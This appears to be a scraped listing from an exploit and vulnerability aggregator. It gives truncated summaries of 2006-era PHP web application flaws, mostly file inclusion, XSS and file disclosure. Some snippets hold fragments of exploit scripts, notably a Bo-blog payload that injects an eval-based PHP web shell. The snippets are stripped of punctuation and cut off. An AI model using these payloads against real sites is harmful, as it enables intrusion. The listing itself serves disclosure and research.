CVE-2006-6957

Docebo 3.0.3 and earlier are affected by PHP remote file inclusion via the Docebo GLOBALS vulnerability. When PHP register_globals is enabled, an attacker can cause arbitrary PHP code execution by passing a URL through the GLOBALS[where_framework] parameter (and variants via GLOBALS[where_cms] in...

Webfwlog 0.92 - debug.php Remote File Disclosure

Webfwlog 0.92 - debug.php Remote File Disclosure ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + D.Script:ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-stable/All/webfwlog-0.92.tbz + D.Scrpit:http://webfwlog.sourceforge.net/...

Webfwlog <= 0.92 (debug.php) Remote File Disclosure Vulnerability

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + D.Script:ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-stable/All/webfwlog-0.92.tbz + D.Scrpit:http://webfwlog.sourceforge.net/...

Upload Service 1.0 (top.php maindir) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================================== Upload Service 1.0 top.php maindir Remote File Inclusion Vulnerability ========================================================================...

CVE-2006-6487

Cross-site scripting XSS vulnerability in index.php in DT Guestbook dtguestbook 1.0f, when registerglobals is enabled, allows remote attackers to inject arbitrary web script or HTML via the error parameter...

Directory traversal

Directory traversal vulnerability in index.php in L2J Statistik Script 0.09 and earlier, when registerglobals is enabled and magicquotes is disabled, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the page parameter, as demonstrated by injecting PHP...

L2J Statistik Script <= 0.09 (index.php page) Local File Include Exploit

No description provided by source. ? print ' | \ | \ \ / | | | | | | | \ \ \ / \ \ | \ \ / \ | \ | | | / \ | \ \ \ / / | | | | | | | | | | ||/ // |./ |/\ ./ |/ ||...

Aratix <= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability

No description provided by source. +------------------------------------------------------------------------------------------- + Aratix = 0.2.2b11 inc/init.inc.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- +...

Aratix 0.2.2b11 - '/inc/init.inc.php' Remote File Inclusion

+------------------------------------------------------------------------------------------- + Aratix +------------------------------------------------------------------------------------------- + Details: + Aratix inc/init.inc.php does not initialize the $currentpath variable before using it to ...

3editor CMS 0.42 - 'index.php' Local File Inclusion

script Name: 3editor CMS index.php Local File Include Exploit Download:http://www.matteolucarelli.net/3editor/index.htm Author : Dr Max Virus Contact :[email protected] Bug & Problem In file index.php Let's Take a look; if !isset$GET'page' include'phplib/treeedit.php'; else...

CVE-2006-6633

PHP remote file inclusion vulnerability in include/yapbbsession.php in YapBB 1.2 Beta2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALSincludeBit parameter...

PHP-Proxima BB_Smilies.PHP本地文件包含漏洞

PHP-Proxima是一款基于PHP的WEB应用程序。 PHP-Proxima不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限查看系统文件内容。 问题是由于'BBSmilies.PHP'脚本对用户提交的'name'参数缺少过滤，提交包含多个"../"字符作为参数数据，可绕过WEB ROOT限制，以WEB进程权限查看系统文件内容。 PHP-Proxima 6.0 http://sourceforge.net/projects/phpproxima !/usr/bin/php -q -d shortopentag=on ? $devilteam = " :::::::...

Exploit For Last Bo-blog version

No description provided by source. ? iniset"maxexecutiontime",0; iniset"defaultsockettimeout",5; $data ='nowonline=?php @eval$REQUESTorz;echo orz;die;?&1468108794=orz&-1844564458=orz'; $server =$argv1; $sitepath =$argv2; if$argc!=3 hr; echo" Uaget: boblog.php www.defence80.com /blog/\r\n"; echo" ...

CVE-2006-6224

PHP remote file inclusion vulnerability in the installation scripts in Puntal before 1.8.5 allows remote attackers to execute arbitrary PHP code via the GLOBALS array...

CVE-2006-6224

PHP remote file inclusion vulnerability in the installation scripts in Puntal before 1.8.5 allows remote attackers to execute arbitrary PHP code via the GLOBALS array...

Serendipity <= 1.0.3 (comment.php) Local File Include Exploit

No description provided by source. ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:+ +:+...

Serendipity <= 1.0.3 (comment.php) Local File Include Exploit

Exploit for unknown platform in category web applications ============================================================= Serendipity = 1.0.3 comment.php Local File Include Exploit ============================================================= ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :...

phpGraphy 0.9.12 - Privilege Escalation / Commands Execution

126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n";...

Cahier de texte 2.0 (Database Backup/Source Disclosure) Remote Exploit

Exploit for unknown platform in category web applications ====================================================================== Cahier de texte 2.0 Database Backup/Source Disclosure Remote Exploit ====================================================================== !/usr/bin/perl INFORMATIONS...

CVE-2006-6042

PHP remote file inclusion vulnerability in core/editor.php in phpWebThings 1.5.2 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the editorinsertbottom parameter...